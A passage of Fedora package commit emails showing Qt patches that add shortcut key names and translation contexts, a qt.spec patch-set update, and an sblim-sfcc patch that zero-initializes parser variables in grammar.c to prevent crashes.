+    { Qt::Key_Back,                       QT_TRANSLATE_NOOP("QShortcut", "Back") },
+    { Qt::Key_Forward,                    QT_TRANSLATE_NOOP("QShortcut", "Forward") },
+    { Qt::Key_Stop,                       QT_TRANSLATE_NOOP("QShortcut", "Stop") },
+    { Qt::Key_Refresh,                    QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
+    { Qt::Key_VolumeDown,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
+    { Qt::Key_VolumeMute,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
+    { Qt::Key_VolumeUp,                   QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
+    { Qt::Key_BassBoost,                  QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
+    { Qt::Key_BassUp,                     QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
+    { Qt::Key_BassDown,                   QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
+    { Qt::Key_TrebleUp,                   QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
+    { Qt::Key_TrebleDown,                 QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
+    { Qt::Key_MediaPlay,                  QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
+    { Qt::Key_MediaStop,                  QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
+    { Qt::Key_MediaPrevious,              QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
+    { Qt::Key_MediaNext,                  QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
+    { Qt::Key_MediaRecord,                QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
+    { Qt::Key_HomePage,                   QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
+    { Qt::Key_Favorites,                  QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
+    { Qt::Key_Search,                     QT_TRANSLATE_NOOP("QShortcut", "Search") },
+    { Qt::Key_Standby,                    QT_TRANSLATE_NOOP("QShortcut", "Standby") },
+    { Qt::Key_OpenUrl,                    QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
+    { Qt::Key_LaunchMail,                 QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
+    { Qt::Key_LaunchMedia,                QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
+    { Qt::Key_Launch0,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
+    { Qt::Key_Launch1,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
+    { Qt::Key_Launch2,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
+    { Qt::Key_Launch3,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
+    { Qt::Key_Launch4,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
+    { Qt::Key_Launch5,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
+    { Qt::Key_Launch6,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
+    { Qt::Key_Launch7,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
+    { Qt::Key_Launch8,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
+    { Qt::Key_Launch9,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
+    { Qt::Key_LaunchA,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
+    { Qt::Key_LaunchB,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
+    { Qt::Key_LaunchC,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
+    { Qt::Key_LaunchD,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
+    { Qt::Key_LaunchE,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
+    { Qt::Key_LaunchF,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    { Qt::Key_MonBrightnessUp,            QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Up") },
+    { Qt::Key_MonBrightnessDown,          QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Down") },
+    { Qt::Key_KeyboardLightOnOff,         QT_TRANSLATE_NOOP("QShortcut", "Keyboard Light On/Off") },
+    { Qt::Key_KeyboardBrightnessUp,       QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Up") },
+    { Qt::Key_KeyboardBrightnessDown,     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Down") },
+    { Qt::Key_PowerOff,                   QT_TRANSLATE_NOOP("QShortcut", "Power Off") },
+    { Qt::Key_WakeUp,                     QT_TRANSLATE_NOOP("QShortcut", "Wake Up") },
+    { Qt::Key_Eject,                      QT_TRANSLATE_NOOP("QShortcut", "Eject") },
+    { Qt::Key_ScreenSaver,                QT_TRANSLATE_NOOP("QShortcut", "Screensaver") },
+    { Qt::Key_WWW,                        QT_TRANSLATE_NOOP("QShortcut", "WWW") },
+    { Qt::Key_Sleep,                      QT_TRANSLATE_NOOP("QShortcut", "Sleep") },
+    { Qt::Key_LightBulb,                  QT_TRANSLATE_NOOP("QShortcut", "LightBulb") },
+    { Qt::Key_Shop,                       QT_TRANSLATE_NOOP("QShortcut", "Shop") },
+    { Qt::Key_History,                    QT_TRANSLATE_NOOP("QShortcut", "History") },
+    { Qt::Key_AddFavorite,                QT_TRANSLATE_NOOP("QShortcut", "Add Favorite") },
+    { Qt::Key_HotLinks,                   QT_TRANSLATE_NOOP("QShortcut", "Hot Links") },
+    { Qt::Key_BrightnessAdjust,           QT_TRANSLATE_NOOP("QShortcut", "Adjust Brightness") },
+    { Qt::Key_Finance,                    QT_TRANSLATE_NOOP("QShortcut", "Finance") },
+    { Qt::Key_Community,                  QT_TRANSLATE_NOOP("QShortcut", "Community") },
+    { Qt::Key_AudioRewind,                QT_TRANSLATE_NOOP("QShortcut", "Audio Rewind") },
+    { Qt::Key_BackForward,                QT_TRANSLATE_NOOP("QShortcut", "Back Forward") },
+    { Qt::Key_ApplicationLeft,            QT_TRANSLATE_NOOP("QShortcut", "Application Left") },
+    { Qt::Key_ApplicationRight,           QT_TRANSLATE_NOOP("QShortcut", "Application Right") },
+    { Qt::Key_Book,                       QT_TRANSLATE_NOOP("QShortcut", "Book") },
+    { Qt::Key_CD,                         QT_TRANSLATE_NOOP("QShortcut", "CD") },
+    { Qt::Key_Calculator,                 QT_TRANSLATE_NOOP("QShortcut", "Calculator") },
+    { Qt::Key_Clear,                      QT_TRANSLATE_NOOP("QShortcut", "Clear") },
+    { Qt::Key_ClearGrab,                  QT_TRANSLATE_NOOP("QShortcut", "Clear Grab") },
+    { Qt::Key_Close,                      QT_TRANSLATE_NOOP("QShortcut", "Close") },
+    { Qt::Key_Copy,                       QT_TRANSLATE_NOOP("QShortcut", "Copy") },
+    { Qt::Key_Cut,                        QT_TRANSLATE_NOOP("QShortcut", "Cut") },
+    { Qt::Key_Display,                    QT_TRANSLATE_NOOP("QShortcut", "Display") },
+    { Qt::Key_DOS,                        QT_TRANSLATE_NOOP("QShortcut", "DOS") },
+    { Qt::Key_Documents,                  QT_TRANSLATE_NOOP("QShortcut", "Documents") },
+    { Qt::Key_Excel,                      QT_TRANSLATE_NOOP("QShortcut", "Spreadsheet") },
+    { Qt::Key_Explorer,                   QT_TRANSLATE_NOOP("QShortcut", "Browser") },
+    { Qt::Key_Game,                       QT_TRANSLATE_NOOP("QShortcut", "Game") },
+    { Qt::Key_Go,                         QT_TRANSLATE_NOOP("QShortcut", "Go") },
+    { Qt::Key_iTouch,                     QT_TRANSLATE_NOOP("QShortcut", "iTouch") },
+    { Qt::Key_LogOff,                     QT_TRANSLATE_NOOP("QShortcut", "Logoff") },
+    { Qt::Key_Market,                     QT_TRANSLATE_NOOP("QShortcut", "Market") },
+    { Qt::Key_Meeting,                    QT_TRANSLATE_NOOP("QShortcut", "Meeting") },
+    { Qt::Key_MenuKB,                     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Menu") },
+    { Qt::Key_MenuPB,                     QT_TRANSLATE_NOOP("QShortcut", "Menu PB") },
+    { Qt::Key_MySites,                    QT_TRANSLATE_NOOP("QShortcut", "My Sites") },
+    { Qt::Key_News,                       QT_TRANSLATE_NOOP("QShortcut", "News") },
+    { Qt::Key_OfficeHome,                 QT_TRANSLATE_NOOP("QShortcut", "Home Office") },
+    { Qt::Key_Option,                     QT_TRANSLATE_NOOP("QShortcut", "Option") },
+    { Qt::Key_Paste,                      QT_TRANSLATE_NOOP("QShortcut", "Paste") },
+    { Qt::Key_Phone,                      QT_TRANSLATE_NOOP("QShortcut", "Phone") },
+    { Qt::Key_Reply,                      QT_TRANSLATE_NOOP("QShortcut", "Reply") },
+    { Qt::Key_Reload,                     QT_TRANSLATE_NOOP("QShortcut", "Reload") },
+    { Qt::Key_RotateWindows,              QT_TRANSLATE_NOOP("QShortcut", "Rotate Windows") },
+    { Qt::Key_RotationPB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation PB") },
+    { Qt::Key_RotationKB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation KB") },
+    { Qt::Key_Save,                       QT_TRANSLATE_NOOP("QShortcut", "Save") },
+    { Qt::Key_Send,                       QT_TRANSLATE_NOOP("QShortcut", "Send") },
+    { Qt::Key_Spell,                      QT_TRANSLATE_NOOP("QShortcut", "Spellchecker") },
+    { Qt::Key_SplitScreen,                QT_TRANSLATE_NOOP("QShortcut", "Split Screen") },
+    { Qt::Key_Support,                    QT_TRANSLATE_NOOP("QShortcut", "Support") },
+    { Qt::Key_TaskPane,                   QT_TRANSLATE_NOOP("QShortcut", "Task Panel") },
+    { Qt::Key_Terminal,                   QT_TRANSLATE_NOOP("QShortcut", "Terminal") },
+    { Qt::Key_Tools,                      QT_TRANSLATE_NOOP("QShortcut", "Tools") },
+    { Qt::Key_Travel,                     QT_TRANSLATE_NOOP("QShortcut", "Travel") },
+    { Qt::Key_Video,                      QT_TRANSLATE_NOOP("QShortcut", "Video") },
+    { Qt::Key_Word,                       QT_TRANSLATE_NOOP("QShortcut", "Word Processor") },
+    { Qt::Key_Xfer,                       QT_TRANSLATE_NOOP("QShortcut", "XFer") },
+    { Qt::Key_ZoomIn,                     QT_TRANSLATE_NOOP("QShortcut", "Zoom In") },
+    { Qt::Key_ZoomOut,                    QT_TRANSLATE_NOOP("QShortcut", "Zoom Out") },
+    { Qt::Key_Away,                       QT_TRANSLATE_NOOP("QShortcut", "Away") },
+    { Qt::Key_Messenger,                  QT_TRANSLATE_NOOP("QShortcut", "Messenger") },
+    { Qt::Key_WebCam,                     QT_TRANSLATE_NOOP("QShortcut", "WebCam") },
+    { Qt::Key_MailForward,                QT_TRANSLATE_NOOP("QShortcut", "Mail Forward") },
+    { Qt::Key_Pictures,                   QT_TRANSLATE_NOOP("QShortcut", "Pictures") },
+    { Qt::Key_Music,                      QT_TRANSLATE_NOOP("QShortcut", "Music") },
+    { Qt::Key_Battery,                    QT_TRANSLATE_NOOP("QShortcut", "Battery") },
+    { Qt::Key_Bluetooth,                  QT_TRANSLATE_NOOP("QShortcut", "Bluetooth") },
+    { Qt::Key_WLAN,                       QT_TRANSLATE_NOOP("QShortcut", "Wireless") },
+    { Qt::Key_UWB,                        QT_TRANSLATE_NOOP("QShortcut", "Ultra Wide Band") },
+    { Qt::Key_AudioForward,               QT_TRANSLATE_NOOP("QShortcut", "Audio Forward") },
+    { Qt::Key_AudioRepeat,                QT_TRANSLATE_NOOP("QShortcut", "Audio Repeat") },
+    { Qt::Key_AudioRandomPlay,            QT_TRANSLATE_NOOP("QShortcut", "Audio Random Play") },
+    { Qt::Key_Subtitle,                   QT_TRANSLATE_NOOP("QShortcut", "Subtitle") },
+    { Qt::Key_AudioCycleTrack,            QT_TRANSLATE_NOOP("QShortcut", "Audio Cycle Track") },
+    { Qt::Key_Time,                       QT_TRANSLATE_NOOP("QShortcut", "Time") },
+    { Qt::Key_Select,                     QT_TRANSLATE_NOOP("QShortcut", "Select") },
+    { Qt::Key_View,                       QT_TRANSLATE_NOOP("QShortcut", "View") },
+    { Qt::Key_TopMenu,                    QT_TRANSLATE_NOOP("QShortcut", "Top Menu") },
+    { Qt::Key_Suspend,                    QT_TRANSLATE_NOOP("QShortcut", "Suspend") },
+    { Qt::Key_Hibernate,                  QT_TRANSLATE_NOOP("QShortcut", "Hibernate") },
 
     // --------------------------------------------------------------
     // More consistent namings
-- 
1.6.2.5

>From 9eb3560cfd5cd0bc9c7bf79f2c27657ee07b8f95 Mon Sep 17 00:00:00 2001
From: Albert Astals Cid <aacid at kde.org>
Date: Sat, 8 Aug 2009 14:40:25 +0200
Subject: [PATCH 17/18] Add context to tr calls in QShortcut

Some languages have special rules for using "+" to concatenate strings and
for example it needs to be Ctrl + Shift instead of Ctrl+Shift, adding
context to these strings helps creating a more correct translation
---
 src/gui/kernel/qkeysequence.cpp |   20 ++++++++++----------
 1 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..c17f253 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -991,10 +991,10 @@ int QKeySequencePrivate::decodeString(const QString &str, QKeySequence::Sequence
 
     QList<QModifKeyName> modifs;
     if (nativeText) {
-        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::META, QShortcut::tr("Meta").toLower().append(QLatin1Char('+')));
+        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift", "Shift key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt", "Alt key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::META, QShortcut::tr("Meta", "Meta key, used for shortcuts").toLower().append(QLatin1Char('+')));
     }
     modifs += *gmodifs; // Test non-translated ones last
 
@@ -1086,7 +1086,7 @@ QString QKeySequence::encodeString(int key)
 static inline void addKey(QString &str, const QString &theKey, QKeySequence::SequenceFormat format)
 {
     if (!str.isEmpty())
-        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+")
+        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+", "Symbol used to concatenate keys in shortcuts")
                                                     : QString::fromLatin1("+");
     str += theKey;
 }
@@ -1111,13 +1111,13 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
     {
         // On other systems the order is Meta, Control, Alt, Shift
         if ((key & Qt::META) == Qt::META)
-            s = nativeText ? QShortcut::tr("Meta") : QString::fromLatin1("Meta");
+            s = nativeText ? QShortcut::tr("Meta", "Meta key, used for shortcuts") : QString::fromLatin1("Meta");
         if ((key & Qt::CTRL) == Qt::CTRL)
-            addKey(s, nativeText ? QShortcut::tr("Ctrl") : QString::fromLatin1("Ctrl"), format);
+            addKey(s, nativeText ? QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts") : QString::fromLatin1("Ctrl"), format);
         if ((key & Qt::ALT) == Qt::ALT)
-            addKey(s, nativeText ? QShortcut::tr("Alt") : QString::fromLatin1("Alt"), format);
+            addKey(s, nativeText ? QShortcut::tr("Alt", "Alt key, used for shortcuts") : QString::fromLatin1("Alt"), format);
         if ((key & Qt::SHIFT) == Qt::SHIFT)
-            addKey(s, nativeText ? QShortcut::tr("Shift") : QString::fromLatin1("Shift"), format);
+            addKey(s, nativeText ? QShortcut::tr("Shift", "Shift key, used for shortcuts") : QString::fromLatin1("Shift"), format);
     }
 
 
@@ -1132,7 +1132,7 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
             p += QChar((key-0x10000)%400+0xdc00);
         }
     } else if (key >= Qt::Key_F1 && key <= Qt::Key_F35) {
-            p = nativeText ? QShortcut::tr("F%1").arg(key - Qt::Key_F1 + 1)
+            p = nativeText ? QShortcut::tr("F%1", "Fx key, used for shortcuts").arg(key - Qt::Key_F1 + 1)
                            : QString::fromLatin1("F%1").arg(key - Qt::Key_F1 + 1);
     } else if (key) {
         int i=0;
-- 
1.6.2.5

>From 4be7acd98f49b3b1bb12c9fa5dd52b7f9ffd90fb Mon Sep 17 00:00:00 2001
From: Dario Freddi <drf at kde.org>
Date: Mon, 28 Sep 2009 15:58:12 +0200
Subject: [PATCH 18/18] Fix QNativeImage constructor

Signed-off-by: Dario Freddi <drf at kde.org>
---
 src/gui/image/qnativeimage.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/image/qnativeimage.cpp b/src/gui/image/qnativeimage.cpp
index a0c86db..c1bc794 100644
--- a/src/gui/image/qnativeimage.cpp
+++ b/src/gui/image/qnativeimage.cpp
@@ -144,7 +144,7 @@ QImage::Format QNativeImage::systemFormat()
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
 
 QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /* isTextBuffer */, QWidget *widget)
-    : xshmimg(0), xshmpm(0)
+    : xshmimg(0)
 {
     if (!X11->use_mitshm) {
         image = QImage(width, height, format);
-- 
1.6.2.5



Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/devel/qt.spec,v
retrieving revision 1.333
retrieving revision 1.334
diff -u -p -r1.333 -r1.334
--- qt.spec	1 Oct 2009 18:26:10 -0000	1.333
+++ qt.spec	2 Oct 2009 13:39:46 -0000	1.334
@@ -58,7 +58,7 @@ Patch54: qt-x11-opensource-src-4.5.1-mys
 # security patches
 
 # switch to kde-qt branches, qt-copy doesn't exist anymore
-Patch200: kde-qt-patches-20090820git.patch
+Patch200: kde-qt-patches-20091002git.patch
 # these patches are not merged yet in kde-qt branches
 Patch201: 0118-qtcopy-define.diff
 Patch202: 0283-do-not-deduce-scrollbar-extent-twice.diff
@@ -362,7 +362,7 @@ Qt libraries used for drawing widgets an
 # security fixes
 
 # kde-qt branch
-#patch200 -p1 -b .kde-qt-patches-20090820git
+%patch200 -p1 -b .kde-qt-patches-20091002git
 #patch201 -p0 -b .0118-qtcopy-define
 %patch202 -p0 -b .0283-do-not-deduce-scrollbar-extent-twice
 %patch203 -p0 -b .0285-qgv-dontshowchildren


--- kde-qt-patches-20090820git.patch DELETED ---



From praveenp at fedoraproject.org  Fri Oct  2 13:45:10 2009
From: praveenp at fedoraproject.org (Praveen K Paladugu)
Date: Fri,  2 Oct 2009 13:45:10 +0000 (UTC)
Subject: rpms/sblim-sfcc/EL-4 sblim-sfcc-2.1.0-initialization.patch, NONE,
	1.1 sblim-sfcc.spec, 1.1, 1.2
Message-ID: <20091002134510.188D111C00C1@cvs1.fedora.phx.redhat.com>

Author: praveenp

Update of /cvs/pkgs/rpms/sblim-sfcc/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7982

Modified Files:
	sblim-sfcc.spec 
Added Files:
	sblim-sfcc-2.1.0-initialization.patch 
Log Message:
Added a patch to prevent crashes because of uninitialized structures


sblim-sfcc-2.1.0-initialization.patch:
 grammar.c |  110 +++++++++++++++++++++++++++++++-------------------------------
 1 file changed, 55 insertions(+), 55 deletions(-)

--- NEW FILE sblim-sfcc-2.1.0-initialization.patch ---
diff -Naur sblim-sfcc-2.1.0/backend/cimxml/grammar.c sblim-sfcc-2.1.0_fix/backend/cimxml/grammar.c
--- sblim-sfcc-2.1.0/backend/cimxml/grammar.c	2008-01-21 15:45:41.000000000 +0530
+++ sblim-sfcc-2.1.0_fix/backend/cimxml/grammar.c	2009-03-09 17:15:31.000000000 +0530
@@ -56,7 +56,7 @@
 
 static void start(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_XML) {
 		ct = localLex(stateUnion, parm);
@@ -74,7 +74,7 @@
 
 static void cim(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_CIM) {
 		message(parm, (parseUnion*)&stateUnion->xtokMessage);
@@ -92,7 +92,7 @@
 
 static void message(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex((parseUnion*)&stateUnion->xtokMessage, parm);
 	if(ct == XTOK_MESSAGE) {
 		messageContent(parm, stateUnion);
@@ -110,7 +110,7 @@
 
 static void messageContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_SIMPLERSP) {
 		simpleRspContent(parm, (parseUnion*)&stateUnion->xtokSimpleRespContent);
@@ -137,7 +137,7 @@
 
 static void simpleRspContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokSimpleRespContent, parm);
 	if(ct == XTOK_METHODRESP) {
 		methodRespContent(parm, (parseUnion*)&stateUnion->xtokSimpleRespContent.resp);
@@ -165,7 +165,7 @@
 
 static void exportIndication(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_EXPORTINDICATION) {
 		exParamValue(parm, stateUnion);
@@ -183,7 +183,7 @@
 
 static void exParamValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp = {0};
 	CMPIInstance *inst;
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_EP_INSTANCE) {
@@ -211,7 +211,7 @@
 
 static void methodRespContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(&lvalp, parm);
 	if(ct == XTOK_ERROR) {
 		dontLex = 1;
@@ -246,7 +246,7 @@
 
 static void iMethodRespContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(&lvalp, parm);
 	if(ct == XTOK_ERROR) {
 		dontLex = 1;
@@ -263,7 +263,7 @@
 
 static void error(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokErrorResp, parm);
 	if(ct == XTOK_ERROR) {
 		setError(parm, &stateUnion->xtokErrorResp);
@@ -281,7 +281,7 @@
 
 static void returnValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	CMPIType  t;
 	CMPIValue val;
 	CMPIInstance *inst;
@@ -321,7 +321,7 @@
 
 static void returnValueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokReturnValueData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -339,7 +339,7 @@
 
 static void paramValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParamValue, parm);
 	if(ct == XTOK_PARAMVALUE) {
 		ct = localLex(&lvalp, parm);
@@ -369,7 +369,7 @@
 
 static void paramValueData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParamValueData, parm);
 	if(ct == XTOK_VALUE) {
 		dontLex = 1;
@@ -400,7 +400,7 @@
 
 static void iReturnValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex(stateUnion, parm);
 	if(ct == XTOK_IRETVALUE) {
 		iReturnValueContent(parm, stateUnion);
@@ -418,7 +418,7 @@
 
 static void iReturnValueContent(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp ={0};
 	CMPIObjectPath *op;
 	CMPIInstance *inst;
 	CMPIConstClass *cls;
@@ -524,7 +524,7 @@
 
 static void getPropertyRetValue(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	CMPIType  t;
 	CMPIValue val;
 	ct = localLex((parseUnion*)&stateUnion->xtokGetPropRetContent, parm);
@@ -550,7 +550,7 @@
 
 static void valueObjectWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectWithPath, parm);
 	if(ct == XTOK_VALUEOBJECTWITHPATH) {
 		valueObjectWithPathData(parm, (parseUnion*)&stateUnion->xtokObjectWithPath.object);
@@ -569,7 +569,7 @@
 
 static void valueObjectWithPathData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	CMPIObjectPath *op;
 	CMPIInstance *inst;
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectWithPathData, parm);
@@ -597,7 +597,7 @@
 
 static void classWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassWithPath, parm);
 	if(ct == XTOK_CLASSPATH) {
 		dontLex = 1;
@@ -611,7 +611,7 @@
 
 static void instanceWithPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstanceWithPath, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		dontLex = 1;
@@ -625,7 +625,7 @@
 
 static void class(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClass, parm);
 	if(ct == XTOK_CLASS) {
 		ct = localLex(&lvalp, parm);
@@ -678,7 +678,7 @@
 
 static void method(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokMethod, parm);
 	if(ct == XTOK_METHOD) {
 		ct = localLex(&lvalp, parm);
@@ -718,7 +718,7 @@
 
 static void methodData(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	if(ct == XTOK_PARAM) {
 		dontLex = 1;
 		if(ct == XTOK_PARAM) {
@@ -754,7 +754,7 @@
 
 static void parameter(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAM) {
 		ct = localLex(&lvalp, parm);
@@ -782,7 +782,7 @@
 
 static void parameterReference(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMREF) {
 		ct = localLex(&lvalp, parm);
@@ -810,7 +810,7 @@
 
 static void parameterRefArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMREFARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -838,7 +838,7 @@
 
 static void parameterArray(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokParam, parm);
 	if(ct == XTOK_PARAMARRAY) {
 		ct = localLex(&lvalp, parm);
@@ -866,7 +866,7 @@
 
 static void objectPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokObjectPath, parm);
 	if(ct == XTOK_OBJECTPATH) {
 		instancePath(parm, (parseUnion*)&stateUnion->xtokObjectPath.path);
@@ -884,7 +884,7 @@
 
 static void classPath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassPath, parm);
 	if(ct == XTOK_CLASSPATH) {
 		nameSpacePath(parm, (parseUnion*)&stateUnion->xtokClassPath.name);
@@ -903,7 +903,7 @@
 
 static void className(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokClassName, parm);
 	if(ct == XTOK_CLASSNAME) {
 		ct = localLex((parseUnion*)&stateUnion->xtokClassName, parm);
@@ -920,7 +920,7 @@
 
 static void instancePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokInstancePath, parm);
 	if(ct == XTOK_INSTANCEPATH) {
 		nameSpacePath(parm, (parseUnion*)&stateUnion->xtokInstancePath.path);
@@ -939,7 +939,7 @@
 
 static void localInstancePath(ParserControl *parm, parseUnion *stateUnion)
 {
-	parseUnion lvalp;
+	parseUnion lvalp={0};
 	ct = localLex((parseUnion*)&stateUnion->xtokLocalInstancePath, parm);
